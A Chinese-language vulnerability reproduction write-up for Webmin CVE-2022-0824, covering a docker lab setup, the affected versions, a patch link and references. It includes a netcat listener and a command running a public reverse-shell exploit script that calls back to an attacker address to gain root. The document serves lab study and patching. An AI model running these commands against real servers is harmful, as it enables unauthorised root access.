前言:
![](https://img-blog.csdnimg.cn/328573db17074bcc9b601cf6b14379a6.png)
Webmin是功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作。Webmin让您能够在远程使用支持HTTPS (SSL 上的 HTTP)协议的 Web 浏览器通过 Web界面管理您的主机。
Webmin是一个功能强大且灵活的基于 Web 的服务器管理控制面板,适用于类Unix系统。Webmin允许用户配置操作系统内部,例如用户、磁盘配额、服务或配置文件,以及修改和控制开源应用程序,例如Apache HTTPServer、PHP或MySQL。
编号
CVE编号:CVE-2022-0824
CNVD编号:CNVD-2022-17023
CNNVD编号::CNNVD-202203-076
影响版本
危险等级:高 ( 8.8 HIGH )
POC/EXP:已公开
Webmin Webmin < Webmin Webmin1.990 //1.990版本之前均受影响
漏洞简介
Webmin是Webmin社区的一套基于Web的用于类Unix操作系统中的系统管理工具。webmin1.990之前版本存在权限提升漏洞,该漏洞源于错误的程序对高级本地过程调用。攻击者可以利用该漏洞能够修改操作系统文件系统并以运行应用程序权限执行操作系统命令。
复现
1、搭建环境
拉取漏洞镜像
docker pull vulfocus/webmin_cve-2022-0824:latest
启动漏洞环境
docker run -itd -p 10000:10000 -d vulfocus/webmin_cve-2022-0824
访问映射地址127.0.0.1:10000
账户: root 密码: password
环境搭建成功
2、进行复现操作
打开漏洞环境页面进行复现
target host: http://127.0.0.1:10000 //模拟目标站点
attacker host: 192.168.132.58 //攻击者
监听端口4444,准备获取反弹shell
nc -lvp 4444
将POC文件下载,并且执行利用脚本
python3 Webmin-revshell.py -t http://127.0.0.1:10000 -c root:password -LS 192.168.132.58:9090 -L 192.168.132.58 -P 4444
成功执行命令并且获取root权限
解决方案
更新到最新版本 附带厂商补丁链接:
https://github.com/webmin/webmin/commit/39ea464f0c40b325decd6a5bfb7833fa4a142e38
POC
https://github.com/faisalfs10x/Webmin-CVE-2022-0824-revshell
相关信息:
https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/
https://nvd.nist.gov/vuln/detail/cve-2022-0824
https://www.cnvd.org.cn/flaw/show/CNVD-2022-17023
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0824
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202203-076